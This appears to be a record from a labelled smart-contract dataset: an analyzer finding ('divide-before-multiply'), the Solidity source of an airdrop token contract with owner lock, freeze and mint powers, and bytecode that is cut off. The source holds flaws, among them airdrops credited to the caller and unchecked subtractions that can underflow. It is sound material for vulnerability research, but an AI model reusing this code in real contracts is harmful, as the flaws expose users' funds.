1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a0057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a3c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600560146101000a81548160ff02191690836002811115611b1b57fe5b021790555060006004541115611c0557611ba0600454600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b1a90919063ffffffff16565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611c84573d6000803e3d6000fd5b505600a165627a7a72305820904d571af1d1ab04b0ab57f572174157595ab1a8c6d90b1a584695cc943806e70029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,618
0x5CeA483f2936B3F724b23682e11946Dcb225c8E5
pragma solidity ^0.4.21; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract owned { address public owner; address public contractAddress; function owned() public{ owner = msg.sender; contractAddress = this; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract MyToken is owned { /* the rest of the contract as usual */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public exchangeStart; uint256 public exchangeEnd; uint256 public sellPrice; uint256 public buyPrice; bool public drop; uint256 public airDrop; uint256 public currentDrop; uint256 public totalDrop; uint256 public dropStart; uint256 public dropEnd; uint256 public minEtherForAccounts; uint8 public powers; uint256 public users; uint256 public minToken; uint256 public count; bool public lock; bool public sellToContract; mapping (address=> bool) public initialized; mapping (address => uint256) public balances; mapping (address => uint256) public frozens; mapping (address => uint256) public frozenNum; mapping (address => uint256) public frozenEnd; mapping (address => mapping (address => uint256)) public allowance; mapping (uint256 => mapping (address => bool)) public monthPower; mapping (uint256 => bool) public monthOpen; event FrozenFunds(address target, uint256 frozen); event FrozenMyFunds(address target, uint256 frozen, uint256 fronzeEnd); event Transfer(address indexed from,address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function MyToken(address centralMinter) public { name = "共享通"; symbol = "SCD"; decimals = 2; totalSupply = 31000000 * 3 * 10 ** uint256(decimals); sellPrice = 1 * 10 ** 14; buyPrice = 2 * 10 ** 14; drop = true; airDrop = 88 * 10 ** uint256(decimals); currentDrop = 0; totalDrop = 2000000 * 10 ** uint256(decimals); minEtherForAccounts = 5 * 10 ** 14; powers = 2; users = 1; count = 1000; lock = true; if(centralMinter != 0) owner = centralMinter; initialized[owner] = true; balances[owner] = totalSupply; } function setDrop(bool _open) public onlyOwner { drop = _open; } function setAirDrop(uint256 _dropStart, uint256 _dropEnd, uint256 _airDrop, uint256 _totalDrop) public onlyOwner { dropStart = _dropStart; dropEnd = _dropEnd; airDrop = _airDrop; totalDrop = _totalDrop; } function setExchange(uint256 _exchangeStart, uint256 _exchangeEnd, uint256 _sellPrice, uint256 _buyPrice) public onlyOwner { exchangeStart = _exchangeStart; exchangeEnd = _exchangeEnd; sellPrice = _sellPrice; buyPrice = _buyPrice; } function setLock(bool _lock) public onlyOwner { lock = _lock; } function setSellToContract(bool _sellToContract) public onlyOwner { sellToContract = _sellToContract; } function setMinEther(uint256 _minimumEtherInFinney) public onlyOwner { minEtherForAccounts = _minimumEtherInFinney * 1 finney; } function setMonthClose(uint256 _month, bool _value) public onlyOwner { monthOpen[_month] = _value; } function setMonthOpen(uint256 _month, uint256 _users, uint8 _powers, uint256 _minToken, uint256 _count) public onlyOwner { monthOpen[_month] = true; users = _users; minToken = _minToken; count = _count; if(_powers > 0){ powers = _powers; } } function lockAccount(address _address, uint256 _lockEnd) public onlyOwner { frozens[_address] = _lockEnd; emit FrozenFunds(_address, _lockEnd); } function _freezeFunds(address _address, uint256 _freeze, uint256 _freezeEnd) internal { if(drop){ initialize(_address); } frozenNum[_address] = _freeze; frozenEnd[_address] = _freezeEnd; emit FrozenMyFunds(_address, _freeze, _freezeEnd); } function freezeUserFunds(address _address, uint256 _freeze, uint256 _freezeEnd) public onlyOwner { _freezeFunds(_address, _freeze, _freezeEnd); } function freezeMyFunds(uint256 _freeze, uint256 _freezeEnd) public { _freezeFunds(msg.sender, _freeze, _freezeEnd); } function initialize(address _address) internal returns (uint256) { require (drop); require (now > frozens[_address]); if(dropStart != dropEnd && dropEnd > 0){ require (now >= dropStart && now <=dropEnd); } require (balances[owner] > airDrop); if(currentDrop + airDrop < totalDrop && !initialized[_address]){ initialized[_address] = true; _transfer(owner, msg.sender, airDrop); currentDrop += airDrop; return balances[_address]; } } function getMonth(uint256 _month) public returns (uint256) { require (count > 0); require (now > frozens[msg.sender]); require (balances[msg.sender] >= minToken); require (monthOpen[_month]); require (!monthPower[_month][msg.sender]); if(drop){ initialize(msg.sender); } uint256 _mpower = totalSupply * powers / 100 / users; require (balances[owner] >= _mpower); monthPower[_month][msg.sender] = true; _transfer(owner, msg.sender, _mpower); count -= 1; return _mpower; } function balanceOf(address _address) public view returns(uint256){ return getBalances(_address); } function getBalances(address _address) view internal returns (uint256) { if (drop && now > frozens[_address] && currentDrop + airDrop < totalDrop && !initialized[_address]) { return balances[_address] + airDrop; }else { return balances[_address]; } } function takeEther(uint256 _balance) public payable onlyOwner { owner.transfer(_balance); } function () payable public {} function giveEther() public payable { } function getEther(address _address) public view returns(uint256){ return _address.balance; } function getTime() public view returns(uint256){ return now; } function mintToken(address _address, uint256 _mintedAmount) public onlyOwner { require(balances[_address] + _mintedAmount > balances[_address]); require(totalSupply + _mintedAmount > totalSupply); balances[_address] += _mintedAmount; totalSupply += _mintedAmount; emit Transfer(0, this, _mintedAmount); emit Transfer(this, _address, _mintedAmount); } /* Internal transfer, can only be called by this contract */ function _transfer(address _from, address _to, uint256 _value) internal { if(_from != owner){ require (!lock); } require (_to != 0x0); require (_from != _to); require (now > frozens[_from]); require (now > frozens[_to]); if(drop){ initialize(_from); initialize(_to); } if(now <= frozenEnd[_from]){ require (balances[_from] - frozenNum[_from] >= _value); }else{ require (balances[_from] >= _value); } require (balances[_to] + _value > balances[_to]); if(sellToContract && msg.sender.balance < minEtherForAccounts){ sell((minEtherForAccounts - msg.sender.balance) / sellPrice); } balances[_from] -= _value; balances[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ require (now > frozens[msg.sender]); require(_value <= allowance[_from][msg.sender]); _transfer(_from, _to, _value); allowance[_from][msg.sender] -= _value; return true; } function approve(address _spender, uint256 _value) public returns (bool success){ require (!lock); if(drop){ initialize(msg.sender); initialize(_spender); } require(msg.sender != _spender); require (now > frozens[msg.sender]); if(now <= frozenEnd[msg.sender]){ require (balances[msg.sender] - frozenNum[msg.sender] >= _value); }else{ require (balances[msg.sender] >= _value); } allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require (!lock); tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require (!lock); require(_value > 0); require (now > frozens[msg.sender]); if(now <= frozenEnd[msg.sender]){ require (balances[msg.sender] - frozenNum[msg.sender] >= _value); }else{ require (balances[msg.sender] >= _value); } balances[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require (!lock); require(_value > 0); require (now > frozens[msg.sender]); require (now > frozens[_from]); if(now <= frozenEnd[_from]){ require (balances[_from] - frozenNum[_from] >= _value); }else{ require (balances[_from] >= _value); } require(_value <= allowance[_from][msg.sender]); balances[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function buy() public payable{ require (!lock); if(drop){ initialize(msg.sender); } if(exchangeStart != exchangeEnd && exchangeEnd > 0){ require (now >= exchangeStart && now <=exchangeEnd); } uint256 _amount = msg.value / buyPrice; _transfer(owner, msg.sender, _amount); } function sell(uint256 _amount) public { require (!lock); require (sellToContract); require (now > frozens[msg.sender]); require(_amount > 0); if(exchangeStart != exchangeEnd && exchangeEnd > 0){ require (now >= exchangeStart && now <=exchangeEnd); } if(now <= frozenEnd[msg.sender]){ require (balances[msg.sender] - frozenNum[msg.sender] >= _amount); }else{ require (balances[msg.sender] >= _amount); } require(contractAddress.balance >= _amount * sellPrice); _transfer(msg.sender, contractAddress, _amount); msg.sender.transfer(_amount * sellPrice); } }
0x6060604052600436106102b4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306661abd146102b657806306fdde03146102df578063081e1b121461036d578063095ea7b3146103775780631245c653146103d157806314870a57146103fa57806318160ddd1461042857806321bb86ab1461045157806323b872dd1461048f57806327e235e314610508578063313ce5671461055557806334156ac31461058457806342966c68146105de57806346a6c499146106195780634b7503341461064557806352d3642d1461066e578063557ed1ba1461069b57806358caa569146106c4578063619d5194146107115780636cf3d0991461073657806370a082311461075f57806372a20c78146107ac578063749383c2146107db578063763245971461082657806379c650681461084f57806379c6c11a1461089157806379cc6790146108a95780637aef1d4d146109035780638620410b146109265780638da5cb5b1461094f57806395d89b41146109a45780639a4b87f114610a32578063a324ad2414610a57578063a3fe70cb14610a8e578063a6f2ae3a14610ab7578063a859a09214610ac1578063a9059cbb14610aea578063bf620a4514610b2c578063c8dbb68614610b6e578063ca5d088014610bbb578063cae9ca5114610be4578063cbca47db14610c81578063cc75039514610cd2578063d3119dc014610d1c578063dd62ed3e14610d45578063dda6335914610db1578063df36318a14610dd6578063e407869b14610dff578063e4849b3214610e3a578063e62ab95c14610e5d578063ea520b1814610eaa578063ebd6bbfb14610ed3578063f202027514610f20578063f2fde38b14610f49578063f688bb2b14610f82578063f6b4dfb414610fc0578063f751cd8f14611015578063f83d08ba14611042575b005b34156102c157600080fd5b6102c961106f565b6040518082815260200191505060405180910390f35b34156102ea57600080fd5b6102f2611075565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610332578082015181840152602081019050610317565b50505050905090810190601f16801561035f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610375611113565b005b341561038257600080fd5b6103b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611115565b604051808215151515815260200191505060405180910390f35b34156103dc57600080fd5b6103e461139b565b6040518082815260200191505060405180910390f35b341561040557600080fd5b610426600480803590602001909190803515159060200190919050506113a1565b005b341561043357600080fd5b61043b61142b565b6040518082815260200191505060405180910390f35b341561045c57600080fd5b61048d6004808035906020019091908035906020019091908035906020019091908035906020019091905050611431565b005b341561049a57600080fd5b6104ee600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114ae565b604051808215151515815260200191505060405180910390f35b341561051357600080fd5b61053f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611628565b6040518082815260200191505060405180910390f35b341561056057600080fd5b610568611640565b604051808260ff1660ff16815260200191505060405180910390f35b341561058f57600080fd5b6105c4600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611653565b604051808215151515815260200191505060405180910390f35b34156105e957600080fd5b6105ff6004808035906020019091905050611682565b604051808215151515815260200191505060405180910390f35b341561062457600080fd5b61064360048080359060200190919080359060200190919050506118db565b005b341561065057600080fd5b6106586118ea565b6040518082815260200191505060405180910390f35b341561067957600080fd5b6106816118f0565b604051808215151515815260200191505060405180910390f35b34156106a657600080fd5b6106ae611903565b6040518082815260200191505060405180910390f35b34156106cf57600080fd5b6106fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061190b565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b61073460048080351515906020019091905050611923565b005b341561074157600080fd5b61074961199b565b6040518082815260200191505060405180910390f35b341561076a57600080fd5b610796600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119a1565b6040518082815260200191505060405180910390f35b34156107b757600080fd5b6107bf6119b3565b604051808260ff1660ff16815260200191505060405180910390f35b34156107e657600080fd5b610824600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919050506119c6565b005b341561083157600080fd5b610839611a31565b6040518082815260200191505060405180910390f35b341561085a57600080fd5b61088f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611a37565b005b6108a76004808035906020019091905050611c4a565b005b34156108b457600080fd5b6108e9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611d09565b604051808215151515815260200191505060405180910390f35b341561090e57600080fd5b61092460048080359060200190919050506120c5565b005b341561093157600080fd5b610939612133565b6040518082815260200191505060405180910390f35b341561095a57600080fd5b610962612139565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109af57600080fd5b6109b761215e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109f75780820151818401526020810190506109dc565b50505050905090810190601f168015610a245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a3d57600080fd5b610a55600480803515159060200190919050506121fc565b005b3415610a6257600080fd5b610a786004808035906020019091905050612274565b6040518082815260200191505060405180910390f35b3415610a9957600080fd5b610aa161252b565b6040518082815260200191505060405180910390f35b610abf612531565b005b3415610acc57600080fd5b610ad46125e9565b6040518082815260200191505060405180910390f35b3415610af557600080fd5b610b2a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506125ef565b005b3415610b3757600080fd5b610b6c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506125fe565b005b3415610b7957600080fd5b610ba5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061270c565b6040518082815260200191505060405180910390f35b3415610bc657600080fd5b610bce612724565b6040518082815260200191505060405180910390f35b3415610bef57600080fd5b610c67600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061272a565b604051808215151515815260200191505060405180910390f35b3415610c8c57600080fd5b610cb8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128c0565b604051808215151515815260200191505060405180910390f35b3415610cdd57600080fd5b610d1a600480803590602001909190803590602001909190803560ff169060200190919080359060200190919080359060200190919050506128e0565b005b3415610d2757600080fd5b610d2f6129ab565b6040518082815260200191505060405180910390f35b3415610d5057600080fd5b610d9b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506129b1565b6040518082815260200191505060405180910390f35b3415610dbc57600080fd5b610dd4600480803515159060200190919050506129d6565b005b3415610de157600080fd5b610de9612a4e565b6040518082815260200191505060405180910390f35b3415610e0a57600080fd5b610e206004808035906020019091905050612a54565b604051808215151515815260200191505060405180910390f35b3415610e4557600080fd5b610e5b6004808035906020019091905050612a74565b005b3415610e6857600080fd5b610e94600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612d2d565b6040518082815260200191505060405180910390f35b3415610eb557600080fd5b610ebd612d45565b6040518082815260200191505060405180910390f35b3415610ede57600080fd5b610f0a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612d4b565b6040518082815260200191505060405180910390f35b3415610f2b57600080fd5b610f33612d6c565b6040518082815260200191505060405180910390f35b3415610f5457600080fd5b610f80600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612d72565b005b3415610f8d57600080fd5b610fbe6004808035906020019091908035906020019091908035906020019091908035906020019091905050612e10565b005b3415610fcb57600080fd5b610fd3612e8d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561102057600080fd5b611028612eb3565b604051808215151515815260200191505060405180910390f35b341561104d57600080fd5b611055612ec6565b604051808215151515815260200191505060405180910390f35b60145481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561110b5780601f106110e05761010080835404028352916020019161110b565b820191906000526020600020905b8154815290600101906020018083116110ee57829003601f168201915b505050505081565b565b6000601560009054906101000a900460ff1615151561113357600080fd5b600a60009054906101000a900460ff161561115d5761115133612ed9565b5061115b83612ed9565b505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561119857600080fd5b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156111e557600080fd5b601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156112c15781601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156112bc57600080fd5b611310565b81601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561130f57600080fd5b5b81601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113fc57600080fd5b80601d600084815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148c57600080fd5b8360068190555082600781905550816008819055508060098190555050505050565b6000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156114fd57600080fd5b601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561158857600080fd5b611593848484613139565b81601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600190509392505050565b60176020528060005260406000206000915090505481565b600460009054906101000a900460ff1681565b601c6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000601560009054906101000a900460ff161515156116a057600080fd5b6000821115156116af57600080fd5b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156116fc57600080fd5b601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156117d85781601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156117d357600080fd5b611827565b81601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561182657600080fd5b5b81601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b6118e63383836135f9565b5050565b60085481565b601560019054906101000a900460ff1681565b600042905090565b601a6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197e57600080fd5b80601560006101000a81548160ff02191690831515021790555050565b600f5481565b60006119ac82613719565b9050919050565b601160009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2157600080fd5b611a2c8383836135f9565b505050565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a9257600080fd5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515611b2057600080fd5b6005548160055401111515611b3457600080fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806005600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ca557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611d0657600080fd5b50565b6000601560009054906101000a900460ff16151515611d2757600080fd5b600082111515611d3657600080fd5b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515611d8357600080fd5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515611dd057600080fd5b601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515611eac5781601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540310151515611ea757600080fd5b611efb565b81601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611efa57600080fd5b5b601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f8657600080fd5b81601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816005600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561212057600080fd5b66038d7ea4c68000810260108190555050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121f45780601f106121c9576101008083540402835291602001916121f4565b820191906000526020600020905b8154815290600101906020018083116121d757829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561225757600080fd5b80600a60006101000a81548160ff02191690831515021790555050565b600080600060145411151561228857600080fd5b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156122d557600080fd5b601354601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561232557600080fd5b601d600084815260200190815260200160002060009054906101000a900460ff16151561235157600080fd5b601c600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156123bb57600080fd5b600a60009054906101000a900460ff16156123db576123d933612ed9565b505b6012546064601160009054906101000a900460ff1660ff166005540281151561240057fe5b0481151561240a57fe5b04905080601760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561247c57600080fd5b6001601c600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506125116000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383613139565b600160146000828254039250508190555080915050919050565b60075481565b6000601560009054906101000a900460ff1615151561254f57600080fd5b600a60009054906101000a900460ff161561256f5761256d33612ed9565b505b6007546006541415801561258557506000600754115b156125aa57600654421015801561259e57506007544211155b15156125a957600080fd5b5b600954348115156125b757fe5b0490506125e66000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383613139565b50565b60135481565b6125fa338383613139565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561265957600080fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fb4d1971fab77c7179a15c1d5959be5ccdf22f58dc394dfab76d4f27098d981df8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60186020528060005260406000206000915090505481565b600b5481565b600080601560009054906101000a900460ff1615151561274957600080fd5b8490506127568585611115565b156128b7578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612850578082015181840152602081019050612835565b50505050905090810190601f16801561287d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561289e57600080fd5b5af115156128ab57600080fd5b505050600191506128b8565b5b509392505050565b60166020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561293b57600080fd5b6001601d600087815260200190815260200160002060006101000a81548160ff02191690831515021790555083601281905550816013819055508060148190555060008360ff1611156129a45782601160006101000a81548160ff021916908360ff1602179055505b5050505050565b60105481565b601b602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a3157600080fd5b80601560016101000a81548160ff02191690831515021790555050565b60065481565b601d6020528060005260406000206000915054906101000a900460ff1681565b601560009054906101000a900460ff16151515612a9057600080fd5b601560019054906101000a900460ff161515612aab57600080fd5b601860003373ffffffffffff